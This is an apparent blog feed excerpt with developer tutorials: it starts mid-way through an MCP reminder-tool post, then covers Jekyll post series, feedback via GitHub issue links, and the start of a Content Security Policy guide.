      <span class="s2">`Reminder Time: </span><span class="p">${</span><span class="nx">reminderTime</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span>
      <span class="s2">`Parsed Time: </span><span class="p">${</span><span class="nx">parsedTime</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span>
    <span class="p">];</span>
    <span class="k">return</span> <span class="p">{</span>
      <span class="na">content</span><span class="p">:</span> <span class="p">[{</span> <span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">text</span><span class="dl">"</span><span class="p">,</span> <span class="na">text</span><span class="p">:</span> <span class="nx">response</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">"</span><span class="se">\n</span><span class="dl">"</span><span class="p">)</span> <span class="p">}],</span>
    <span class="p">};</span>
  <span class="p">}</span>
<span class="p">);</span>
</code></pre></div></div>

<ol>
  <li>Typically for dates you would want to use z.date() but we use z.string() here because MCP clients would not be able to parse Date objects directly. So, we add a string to date parser on our own and then take appropriate action if the date is not parseable.</li>
  <li>There is an additional <code class="language-plaintext highlighter-rouge">optional()</code> decorator in <code class="language-plaintext highlighter-rouge">reminderTime</code> to account for the fact that users may not specify a time at all.</li>
</ol>

<p><strong>Sample prompt</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Add a reminder to catch the bus at 5PM tomorrow.
</code></pre></div></div>

<p>As seen above, the client automagically changes 5PM tomorrow to the correct ISO formatted string. The server, however, should definitely validate the parsed value.</p>

<div class="centered-image-container">
  <img alt="Response shown in claude" src="/assets/images/llm/LLMMCP01/point-in-time-1.png" class="centered-image" />
</div>
<div class="centered-image-container">
  <img alt="Response shown in claude" src="/assets/images/llm/LLMMCP01/point-in-time-2.png" class="centered-image" />
</div>
<h3 id="add-a-reminder-to-capture-recurrence-intent">Add a reminder to capture recurrence intent</h3>

<p>Many reminders are not one-time events. They repeat on a schedule (e.g., “every Monday at 9am” or “on the 1st of every month”).
If you prompt the server with the current code with something like <code class="language-plaintext highlighter-rouge">Add a reminder to catch the bus at 5PM everyday</code> you will typically only capture the first instance because ISO date strings do not capture recurrence.
To support this, let’s add a <code class="language-plaintext highlighter-rouge">recurranceTime</code> parameter to our <code class="language-plaintext highlighter-rouge">add-reminder</code> tool. We’ll use the <a href="https://icalendar.org/iCalendar-RFC-5545/3-3-10-recurrence-rule.html">iCalendar (RFC 5545) recurrence rule format</a>, commonly known as “RRULE”, to describe recurrence patterns.</p>

<p>Update your tool registration as follows:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="p">{</span> <span class="nx">z</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">zod</span><span class="dl">"</span><span class="p">;</span>

<span class="nx">server</span><span class="p">.</span><span class="nx">tool</span><span class="p">(</span>
  <span class="dl">"</span><span class="s2">add-reminder</span><span class="dl">"</span><span class="p">,</span>
  <span class="dl">"</span><span class="s2">Add a reminder for the user</span><span class="dl">"</span><span class="p">,</span>
  <span class="p">{</span>
    <span class="na">reminderText</span><span class="p">:</span> <span class="nx">z</span>
      <span class="p">.</span><span class="kr">string</span><span class="p">()</span>
      <span class="p">.</span><span class="nx">describe</span><span class="p">(</span><span class="dl">"</span><span class="s2">Free form text containing the content of the reminder</span><span class="dl">"</span><span class="p">),</span>
    <span class="na">reminderTime</span><span class="p">:</span> <span class="nx">z</span>
      <span class="p">.</span><span class="kr">string</span><span class="p">()</span>
      <span class="p">.</span><span class="nx">optional</span><span class="p">()</span>
      <span class="p">.</span><span class="nx">describe</span><span class="p">(</span>
        <span class="dl">"</span><span class="s2">Contains the date time of the reminder in ISO format if it is specified by the user. Use this field only if a single specific point in time is mentioned in the reminder. For recurring reminders, use recurranceTime.</span><span class="dl">"</span>
      <span class="p">),</span>
    <span class="na">recurranceTime</span><span class="p">:</span> <span class="nx">z</span>
      <span class="p">.</span><span class="kr">string</span><span class="p">()</span>
      <span class="p">.</span><span class="nx">optional</span><span class="p">()</span>
      <span class="p">.</span><span class="nx">describe</span><span class="p">(</span>
        <span class="dl">"</span><span class="s2">Contains the date time of the recurring reminder in iCalendar RRULE format if it is specified by the user. Use this field only for recurring reminders or for reminders with more than one point in time. If a single specific point in time is mentioned in the reminder, use reminderTime field.</span><span class="dl">"</span>
      <span class="p">),</span>
  <span class="p">},</span>
  <span class="k">async</span> <span class="p">({</span> <span class="nx">reminderText</span><span class="p">,</span> <span class="nx">reminderTime</span><span class="p">,</span> <span class="nx">recurranceTime</span> <span class="p">},</span> <span class="nx">ctx</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="c1">// Validate reminderTime as before</span>
    <span class="kd">let</span> <span class="na">parsedTime</span><span class="p">:</span> <span class="nb">Date</span> <span class="o">|</span> <span class="kc">null</span> <span class="o">=</span> <span class="kc">null</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">reminderTime</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">try</span> <span class="p">{</span>
        <span class="nx">parsedTime</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Date</span><span class="p">(</span><span class="nx">reminderTime</span> <span class="o">??</span> <span class="dl">""</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="nb">isNaN</span><span class="p">(</span><span class="nx">parsedTime</span><span class="p">.</span><span class="nx">getTime</span><span class="p">()))</span> <span class="p">{</span>
          <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="dl">"</span><span class="s2">Invalid date</span><span class="dl">"</span><span class="p">);</span>
        <span class="p">}</span>
      <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{}</span>
    <span class="p">}</span>

    <span class="c1">// Optionally validate RRULE format (basic check)</span>
    <span class="kd">let</span> <span class="nx">rruleValid</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">recurranceTime</span><span class="p">)</span> <span class="p">{</span>
      <span class="nx">rruleValid</span> <span class="o">=</span> <span class="nx">recurranceTime</span><span class="p">.</span><span class="nx">startsWith</span><span class="p">(</span><span class="dl">"</span><span class="s2">FREQ=</span><span class="dl">"</span><span class="p">);</span> <span class="c1">// TODO Use a library to validate</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">response</span> <span class="o">=</span> <span class="p">[</span>
      <span class="s2">`Request ID: </span><span class="p">${</span><span class="nx">ctx</span><span class="p">.</span><span class="nx">requestId</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span>
      <span class="s2">`Your reminder is set.`</span><span class="p">,</span>
      <span class="s2">`Reminder Content: "</span><span class="p">${</span><span class="nx">reminderText</span><span class="p">}</span><span class="s2">"`</span><span class="p">,</span>
      <span class="s2">`Reminder Time: </span><span class="p">${</span><span class="nx">reminderTime</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span>
      <span class="s2">`Parsed Time: </span><span class="p">${</span><span class="nx">parsedTime</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span>
      <span class="s2">`Recurrence Rule: </span><span class="p">${</span><span class="nx">recurranceTime</span> <span class="o">||</span> <span class="dl">"</span><span class="s2">None</span><span class="dl">"</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span>
      <span class="s2">`Recurrence Rule Valid: </span><span class="p">${</span><span class="nx">rruleValid</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span>
    <span class="p">];</span>
    <span class="k">return</span> <span class="p">{</span>
      <span class="na">content</span><span class="p">:</span> <span class="p">[{</span> <span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">text</span><span class="dl">"</span><span class="p">,</span> <span class="na">text</span><span class="p">:</span> <span class="nx">response</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">"</span><span class="se">\n</span><span class="dl">"</span><span class="p">)</span> <span class="p">}],</span>
    <span class="p">};</span>
  <span class="p">}</span>
<span class="p">);</span>
</code></pre></div></div>

<ol>
  <li><code class="language-plaintext highlighter-rouge">recurranceTime</code> is also <code class="language-plaintext highlighter-rouge">optional()</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">rruleValid = recurranceTime.startsWith("FREQ=")</code> is just a placeholder. Use a library to validate RRULE.</li>
  <li>Description of <code class="language-plaintext highlighter-rouge">reminderTime</code> and <code class="language-plaintext highlighter-rouge">recurranceTime</code> have been updated to let the client know when to use what.</li>
</ol>

<p><strong>Sample prompt</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Add a reminder to catch the bus at 5PM everyday.
</code></pre></div></div>

<p>Now instead of passing the date in <code class="language-plaintext highlighter-rouge">reminderTime</code>, you should get a value like <code class="language-plaintext highlighter-rouge">FREQ=DAILY;BYHOUR=17;BYMINUTE=0</code> (every day at 5PM) in <code class="language-plaintext highlighter-rouge">recurranceTime</code>.</p>

<div class="centered-image-container">
  <img alt="Response shown in claude" src="/assets/images/llm/LLMMCP01/recurrance-1.png" class="centered-image" />
</div>
<div class="centered-image-container">
  <img alt="Response shown in claude" src="/assets/images/llm/LLMMCP01/recurrance-2.png" class="centered-image" />
</div>

<p><strong>Congratulations, you have a functional MCP server.</strong></p>

<h2 id="learnings">Learnings</h2>

<ol>
  <li>Use Structured Inputs. Define clear, typed input schemas for each tool. Avoid free-form text when possible.</li>
  <li>Validate and Normalize Inputs. Ensure your server validates and normalizes inputs. For example, parse and check date/time formats.</li>
  <li>Expect mistakes from the client. Add proper defenses for incorrect inputs and workflows.</li>
  <li>Use optional fields to eliminate the client force fitting values.</li>
  <li>Document your tool descriptions and argument schemas well for best client compatibility.</li>
  <li>Use MCP Inspector and other tools to debug and iterate quickly.</li>
</ol>]]></content><author><name>Shaswat Rungta</name></author><category term="LLM" /><category term="MCP Server" /><summary type="html"><![CDATA[Introduction to MCP Servers]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.shaswatrungta.online/assets/images/llm/LLMMCP01/cover.svg" /><media:content medium="image" url="https://blog.shaswatrungta.online/assets/images/llm/LLMMCP01/cover.svg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Creating a Series of Articles In Jekyll</title><link href="https://blog.shaswatrungta.online/blog/jekyll/series-of-posts" rel="alternate" type="text/html" title="Creating a Series of Articles In Jekyll" /><published>2025-05-11T00:00:00+05:30</published><updated>2025-05-11T00:00:00+05:30</updated><id>https://blog.shaswatrungta.online/blog/jekyll/creating-series-of-articles</id><content type="html" xml:base="https://blog.shaswatrungta.online/blog/jekyll/series-of-posts"><![CDATA[<h2 id="context">Context</h2>

<p>This site is built using GitHub Pages with a Jekyll template. I wanted to write blog posts related to a specific topic under a series header. I also wanted to implement “Next” and “Previous” navigation for a more immersive reading experience. Liquid front matter allows us to achieve this nicely in Jekyll.</p>

<h2 id="overall-idea">Overall Idea</h2>

<p>The way I’ve currently implemented this is by having a master data file for series metadata. Then, using Jekyll front matter, we can annotate posts with series IDs and use Liquid expressions to filter articles when displaying related posts.</p>

<h3 id="setting-up-the-series-metadata">Setting up the Series Metadata</h3>

<p>Jekyll supports data files that are available as built-in variables, allowing you to have virtually any valid data structure. So, we can do this:</p>

<ol>
  <li>Add a file named <code class="language-plaintext highlighter-rouge">series.yml</code> in your <code class="language-plaintext highlighter-rouge">_data</code> folder.</li>
  <li>I use a simple setup like this:
    <div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="na">name</span><span class="pi">:</span> <span class="s">Series </span><span class="m">1</span>
  <span class="na">description</span><span class="pi">:</span> <span class="s">Description of Series </span><span class="m">1</span>
  <span class="na">id</span><span class="pi">:</span> <span class="s">SERIES_ID_1</span>
</code></pre></div>    </div>
  </li>
  <li>This data is now accessible on all pages as <code class="language-plaintext highlighter-rouge">site.data.series</code>, which is an array of objects.</li>
</ol>

<h3 id="attaching-posts-to-a-series">Attaching Posts to a Series</h3>

<p>Once the series data is populated, we need to specify which posts belong to which series.</p>

<ol>
  <li>Let’s say <code class="language-plaintext highlighter-rouge">series-1-part-1.md</code> and <code class="language-plaintext highlighter-rouge">series-1-part-2.md</code> are Parts 1 and 2 of <code class="language-plaintext highlighter-rouge">Series 1</code> with the ID <code class="language-plaintext highlighter-rouge">SERIES_ID_1</code>.</li>
  <li>I use this syntax in the front matter of the posts:
    <div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">series</span><span class="pi">:</span>
  <span class="na">id</span><span class="pi">:</span> <span class="s">SERIES_ID_1</span> <span class="c1"># --- ID of the series from _data/series.yml</span>
  <span class="na">index</span><span class="pi">:</span> <span class="m">1</span> <span class="c1"># --- Index of the post in the series</span>
</code></pre></div>    </div>
    <div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">series</span><span class="pi">:</span>
  <span class="na">id</span><span class="pi">:</span> <span class="s">SERIES_ID_1</span> <span class="c1"># --- ID of the series from _data/series.yml</span>
  <span class="na">index</span><span class="pi">:</span> <span class="m">2</span> <span class="c1"># --- Index of the post in the series</span>
</code></pre></div>    </div>
    <blockquote>
      <p>The property <code class="language-plaintext highlighter-rouge">series</code> in the YAML above is not a reserved keyword. It’s simply a string that we will use for matching later.</p>
    </blockquote>
  </li>
</ol>

<h3 id="showing-the-posts-in-series-form-on-the-homepage">Showing the Posts in Series Form on the Homepage</h3>

<p>Now that we have created the series metadata and tagged the posts with the series information, we can start grouping them together.
If you visit <a href="https://srungta.github.io/">https://srungta.github.io/</a> (this blog’s homepage), you should see a list of posts grouped by series titles.
At the time of writing, the UI looks like this: 👇</p>

<div class="centered-image-container">
  <img alt="Grouped posts" src="/assets/images/jekyll/JEKYLL02/Grouped-Posts.png" class="centered-image" />
</div>

<ol>
  <li>In your <code class="language-plaintext highlighter-rouge">home.html</code>, you can add the following:
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{ %- if site.data.series.size &gt; 0 - % }
  <span class="nt">&lt;section&gt;</span>
    { %- for series in site.data.series - % }
      { %- include series-details.html item=series - % }
    { %- endfor - % }
  <span class="nt">&lt;/section&gt;</span>
{ %- endif - % }
</code></pre></div>    </div>
    <ul>
      <li>Here, <code class="language-plaintext highlighter-rouge">site.data.series.size &gt; 0</code> is a sanity check to ensure rendering only occurs when there is more than one series defined.</li>
      <li><code class="language-plaintext highlighter-rouge">{ %- for series in site.data.series - % }</code> iterates over the array of series objects in your data file.</li>
      <li><code class="language-plaintext highlighter-rouge">{ %- include series-details.html item=series - % }</code> passes the current <code class="language-plaintext highlighter-rouge">series</code> object from the loop to a layout file called <code class="language-plaintext highlighter-rouge">series-details.html</code>.</li>
    </ul>
  </li>
  <li>In <code class="language-plaintext highlighter-rouge">series-details.html</code>, you now have access to the metadata of a single series through the <code class="language-plaintext highlighter-rouge">include</code> object.
We can first display the details of the series itself for context:
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;b&gt;</span>{ { include.item.name | escape } }<span class="nt">&lt;/b&gt;</span> <span class="c">&lt;!-- Name of series --&gt;</span>
<span class="nt">&lt;p&gt;</span>{ { include.item.description } }<span class="nt">&lt;/p&gt;</span> <span class="c">&lt;!-- Name of series --&gt;</span>
</code></pre></div>    </div>
    <p>The <code class="language-plaintext highlighter-rouge">include.item</code> allows us to access the data passed to this layout in step 2.1.
Now, let’s display the list of posts within the series:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{ %- assign seriesposts = site.posts | where: 'series.id', include.item.id | sort: 'series.index' - % }
{ %- if seriesposts.size &gt; 0 - % }
<span class="nt">&lt;ol&gt;</span>
  { %- for post in seriesposts - % }
  <span class="nt">&lt;li&gt;</span>
    <span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"{ { post.url | relative_url } }"</span><span class="nt">&gt;</span>"{ { post.title | escape } }"<span class="nt">&lt;/a&gt;</span>
    { %- if post.tldr - % }
      <span class="nt">&lt;span</span> <span class="na">class=</span><span class="s">"sd-tldr"</span><span class="nt">&gt;</span>{ { post.tldr } }<span class="nt">&lt;/span&gt;</span>
    { %- endif - % }
  <span class="nt">&lt;/li&gt;</span>
  { %- endfor - % }
<span class="nt">&lt;/ol&gt;</span>
{ %- endif - % }
</code></pre></div>    </div>
    <ul>
      <li><code class="language-plaintext highlighter-rouge">assign seriesposts = site.posts | where: 'series.id', include.item.id | sort: 'series.index' </code> is the core of the filtering logic. It selects all <code class="language-plaintext highlighter-rouge">site.posts</code> where the <code class="language-plaintext highlighter-rouge">series.id</code> (defined in the post’s front matter) matches the <code class="language-plaintext highlighter-rouge">include.item.id</code> (the ID from <code class="language-plaintext highlighter-rouge">_data/series.yml</code>). Then, it sorts these posts based on the <code class="language-plaintext highlighter-rouge">series.index</code> (also defined in the post’s front matter).</li>
      <li>The rest of the code iterates through the filtered and sorted <code class="language-plaintext highlighter-rouge">seriesposts</code> to display their details.</li>
      <li>You can access any property defined in the front matter of your posts, such as <code class="language-plaintext highlighter-rouge">post.tldr</code>, <code class="language-plaintext highlighter-rouge">post.url</code>, or any other custom property you might have.</li>
    </ul>
  </li>
</ol>

<h3 id="showing-the-previous-and-next-links-on-the-post-page">Showing the Previous and Next Links on the Post Page</h3>

<p>If you look at the top and bottom of a post, you should see something like this: 👇</p>
<div class="centered-image-container">
  <img alt="Previous Link posts" src="/assets/images/jekyll/JEKYLL02/Previous-Link.png" class="centered-image" />
</div>
<p>and</p>
<div class="centered-image-container">
  <img alt="Next Link posts" src="/assets/images/jekyll/JEKYLL02/Next-Link.png" class="centered-image" />
</div>

<ol>
  <li>First, we need to determine the previous and next posts for the current post. You can add the following code within your <code class="language-plaintext highlighter-rouge">_layouts\post.html</code>:
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!-- Back link to previous post in the series --&gt;</span>
<span class="c">&lt;!-- Check if this post is a part of a series. --&gt;</span>
{ %- if page.series - % }
  <span class="c">&lt;!-- Collect all posts in this series --&gt;</span>
  { %- assign seriesposts = site.posts | where: 'series.id', page.series.id | sort: 'series.index' - % }

  { %- assign previouspostindex = page.series.index | minus: 1 - % }
  <span class="c">&lt;!-- If there are more than one post --&gt;</span>
  { %- if seriesposts.size &gt; 1 <span class="err">&amp;&amp;</span> previouspostindex &gt; 0 - % }
  <span class="c">&lt;!-- Find the post with index greater than this page--&gt;</span>
    { %- assign previousposts = seriesposts | where: 'series.index' ,previouspostindex - % }
    <span class="c">&lt;!-- If a previous post is found, show a link --&gt;</span>
    { %- if previousposts.size &gt; 0 - % }
      { %- assign previouspost = previousposts | first - % }
    { %- endif - % }
  { %- endif - % }

  { %- assign nextpostindex = page.series.index | plus: 1 - % }
  <span class="c">&lt;!-- If there are more than one post --&gt;</span>
  { %- if seriesposts.size &gt; 1 <span class="err">&amp;&amp;</span> nextpostindex &gt; 0 - % }
    <span class="c">&lt;!-- Find the post with index greater than this page--&gt;</span>
    { %- assign nextposts = seriesposts | where: 'series.index' ,nextpostindex - % }
    <span class="c">&lt;!-- If a next post is found, show a link --&gt;</span>
    { %- if nextposts.size &gt; 0 - % }
      { %- assign nextpost = nextposts | first - % }
    { %- endif - % }
  { %- endif - % }
{ %- endif - % }
</code></pre></div>    </div>
  </li>
  <li>Now, within your <code class="language-plaintext highlighter-rouge">post.html</code> layout, you can use the <code class="language-plaintext highlighter-rouge">previouspost</code> and <code class="language-plaintext highlighter-rouge">nextpost</code> variables to display the links:
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   <span class="c">&lt;!-- Backlink to previous post in the series --&gt;</span>
{ %- if previouspost - % }
<span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"p-previous"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"{ { previouspost.url } }"</span><span class="nt">&gt;</span><span class="ni">&amp;#x25c0;</span> Previously, { { previouspost.title } }<span class="nt">&lt;/a&gt;</span>
<span class="nt">&lt;/div&gt;</span>
{ %- endif - % }
</code></pre></div>    </div>
    <p>And at the end of your post.html:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{ %- if page.series and nextpost - % }
<span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"p-next"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"{ { nextpost.url } }"</span><span class="nt">&gt;</span>Next up, { { nextpost.title } }} <span class="err">&amp;</span>#x2192<span class="nt">&lt;/a&gt;</span>
<span class="nt">&lt;/div&gt;</span>
{ %- endif - % }
</code></pre></div>    </div>
  </li>
</ol>

<h2 id="pros-and-cons-of-this-approach">Pros and Cons of This Approach</h2>

<ol>
  <li>✅ <strong>PRO:</strong> Series posts are automatically linked simply by setting the front matter.</li>
  <li>✅ <strong>PRO:</strong> Adding a new series is straightforward; just add an entry to <code class="language-plaintext highlighter-rouge">_data\series.yml</code>.</li>
  <li>✅ <strong>PRO:</strong> Series with no associated posts will not appear on the homepage.</li>
  <li>✅ <strong>PRO:</strong> The first post in a series will not have a “Previous” link, and the last post will not have a “Next” link.</li>
  <li>❌ <strong>CON:</strong> Ensuring the <code class="language-plaintext highlighter-rouge">index</code> of posts within a series is correctly ordered requires manual effort.</li>
</ol>

<h2 id="conclusion">Conclusion</h2>

<p>Managing and displaying posts within a series in Jekyll is quite manageable through the use of front matter and Liquid expressions.</p>]]></content><author><name>Shaswat Rungta</name></author><category term="Jekyll" /><category term="GitHub" /><category term="Series" /><summary type="html"><![CDATA[Context]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.shaswatrungta.online/assets/images/jekyll/JEKYLL02/cover.svg" /><media:content medium="image" url="https://blog.shaswatrungta.online/assets/images/jekyll/JEKYLL02/cover.svg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Getting Feedback via GitHub Issues</title><link href="https://blog.shaswatrungta.online/blog/jekyll/getting-feedback-via-github-issue" rel="alternate" type="text/html" title="Getting Feedback via GitHub Issues" /><published>2025-05-06T00:00:00+05:30</published><updated>2025-05-06T00:00:00+05:30</updated><id>https://blog.shaswatrungta.online/blog/jekyll/getting-feedback-via-github-issue</id><content type="html" xml:base="https://blog.shaswatrungta.online/blog/jekyll/getting-feedback-via-github-issue"><![CDATA[<h2 id="context">Context</h2>

<p>This site is built using Github Pages with a Jekyll template. Being a static site generator, Jekyll does not have an inbuilt way to get feedback. Typically you would show the users a form to fill feedback and then write a service that collects and saves this feedback. Later you would build a portal to see all these feedback items and categorize and track them. Or you would use a pre-built package/service to do this for you.
Instead I felt like using Github issues is a good candidate for collecting this feedback.</p>

<h2 id="why-use-github-issues-for-feedback">Why Use GitHub Issues for Feedback?</h2>

<p>I wanted to collect feedback on the posts on this website but did not want to integrate any external products. GitHub Issues provide a centralized and structured way to collect feedback for me. Also, having feedback on GitHub allows labeling and associating them with pull requests.</p>

<h3 id="pros">Pros</h3>

<ul>
  <li><strong>Ease of use</strong>: Readers can provide feedback with just a few clicks.</li>
  <li><strong>Centralized tracking</strong>: All feedback is stored in one place on GitHub.</li>
  <li><strong>Actionable insights</strong>: Use GitHub’s features like labels, milestones, and assignees to manage feedback effectively.</li>
</ul>

<h3 id="cons">Cons</h3>

<ul>
  <li><strong>Github Login</strong>: Readers needs a Github account to comment.</li>
</ul>

<h2 id="how-to-integrate-github-issues">How to Integrate GitHub Issues?</h2>

<h3 id="how-does-it-look">How Does It Look?</h3>

<p>Below this post, you will see a link to give feedback. It should look something like this:</p>

<div class="centered-image-container">
  <img alt="Feedback Button Example" src="/assets/images/jekyll/JEKYLL01/Feedback-Button-Example.png" class="centered-image" />
</div>

<p>On clicking the feedback button, you should be navigated to Github and see a screen like below 👇</p>

<div class="centered-image-container">
  <img alt="Feedback Example" src="/assets/images/jekyll/JEKYLL01/Feedback-Example.png" class="centered-image" />
</div>

<h3 id="breaking-down-the-feedback-link">Breaking Down the Feedback Link</h3>

<p>GitHub provides a URL to create a new issue with prefilled values directly.<br />
For example, the GitHub URL for this page is <a href="https://github.com/srungta/srungta.github.io/issues/new?labels=feedback&amp;title=&amp;body=%0A%0A%5BAdd%20details%20here%5D%0A%0A---%0A%23%23%23%23%20Document%20Details%0A%E2%9A%A0%20%2ADo%20not%20edit%20this%20section.%20It%20helps%20me%20track%20the%20feedback.%2A%0A%2A%20%2A%2APost%20link%2A%2A%20%3A%20/blog/jekyll/getting-feedback-via-github-issue%0A%2A%20%2A%2APost%20Id%2A%2A%20%3A%20JEKYLL01">here</a></p>

<p>Breaking down the URL:</p>

<table>
  <thead>
    <tr>
      <th>URL Section</th>
      <th>Meaning</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">https://github.com/srungta/srungta.github.io</code></td>
      <td>Repository base URL</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/issues/new</code></td>
      <td>Fixed path to create a new issue</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">?labels=feedback</code></td>
      <td>Adds a label to the issue</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">&amp;title=</code></td>
      <td>Adds a title (empty here)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">&amp;body=**url-encoded-body**</code></td>
      <td>Sets the body of the issue</td>
    </tr>
  </tbody>
</table>

<h3 id="adding-it-to-each-post">Adding It to Each Post</h3>

<p>The main trick is to create the GitHub link. Everything else is regular Markdown and HTML.</p>

<ol>
  <li>I have a <code class="language-plaintext highlighter-rouge">unique_id</code> added to the front matter of each post. This can be accessed as <code class="language-plaintext highlighter-rouge">page.unique_id</code>.</li>
  <li>Jekyll already lets you access <code class="language-plaintext highlighter-rouge">page.url</code>.<br />
This site already uses a feedback button that links to GitHub Issues. Here’s how it works:</li>
  <li>So my URL becomes:<br />
<code class="language-plaintext highlighter-rouge">https://github.com/srungta/srungta.github.io/issues/new?labels=feedback&amp;title=&amp;body=PageUrl-/blog/jekyll/getting-feedback-via-github-issue___PageId-JEKYLL01</code>
    <blockquote>
      <p>Feel free to edit the body as per your needs.</p>
    </blockquote>
  </li>
  <li>Add a feedback button to your posts using the following HTML snippet:</li>
</ol>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"gh-feedback"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"::Link from step 3::"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;button</span> <span class="na">class=</span><span class="s">"gh-feedback-button"</span><span class="nt">&gt;</span>❣ Give feedback about this post<span class="nt">&lt;/button&gt;</span>
  <span class="nt">&lt;/a&gt;</span>
<span class="nt">&lt;/div&gt;</span>
</code></pre></div></div>

<ol>
  <li><strong>Bonus</strong>: You can move this HTML to <code class="language-plaintext highlighter-rouge">_layout/github-feedback.html</code> and add <code class="language-plaintext highlighter-rouge">{ %- include github-feedback.html - % }</code> in your <code class="language-plaintext highlighter-rouge">post.html</code> layout page.</li>
</ol>

<h2 id="conclusion">Conclusion</h2>

<p>Integrating GitHub Issues into your Jekyll site is a simple yet powerful way to collect and manage user feedback, without a service overhead.</p>]]></content><author><name>Shaswat Rungta</name></author><category term="Jekyll" /><category term="GitHub" /><category term="Feedback" /><summary type="html"><![CDATA[Context]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.shaswatrungta.online/assets/images/jekyll/JEKYLL01/cover.svg" /><media:content medium="image" url="https://blog.shaswatrungta.online/assets/images/jekyll/JEKYLL01/cover.svg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CSP - Block Everything You Don’t Need</title><link href="https://blog.shaswatrungta.online/blog/start-right/ui-csp" rel="alternate" type="text/html" title="CSP - Block Everything You Don’t Need" /><published>2025-05-05T00:00:00+05:30</published><updated>2025-05-05T00:00:00+05:30</updated><id>https://blog.shaswatrungta.online/blog/start-right/frontend-csp</id><content type="html" xml:base="https://blog.shaswatrungta.online/blog/start-right/ui-csp"><![CDATA[<h3 id="understanding-content-security-policy-csp">Understanding Content Security Policy (CSP)</h3>

<p>Content Security Policy (CSP) is essentially a header that your server sends to the frontend. The header value tells the browser what exactly it should allow to run. Anything that violates the CSP policy is blocked implicitly by the browser. It is very simple and super powerful.</p>

<h3 id="block-everything-because-someone-will-find-a-way-to-exploit-it">Block Everything Because Someone Will Find a Way to Exploit It</h3>

<p>Inevitably, if you leave a surface open, someone will exploit it. Why take unnecessary risks? Simply block whatever you do not recognize.</p>

<h4 id="block-all-javascript">Block All JavaScript</h4>

<p>JavaScript is the most problematic of all. Atackers will try to run their malicious code on your site and try to harm your users. Just this simple configuration will block a lot of reflected and stored XSS attacks.</p>

<table>
  <thead>
    <tr>
      <th>Config</th>
      <th>Recommendation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">script-src: 'none'</code></td>
      <td>✅ Don’t allow any scripts. Best configuration if your website can work with this.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">script-src: 'self'</code></td>
      <td>✅ You almost never need to load JavaScript from a different domain. So why allow it?</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">script-src: 'nonce-abc123'</code></td>
      <td>✅ Use when you have some inline JavaScript written via <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tags. Also use if you are using <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tags to load your JavaScript file. Longer discussion on nonce is at <a href="./ui-nonce">this post</a>.</td>
    </tr>
    <tr>
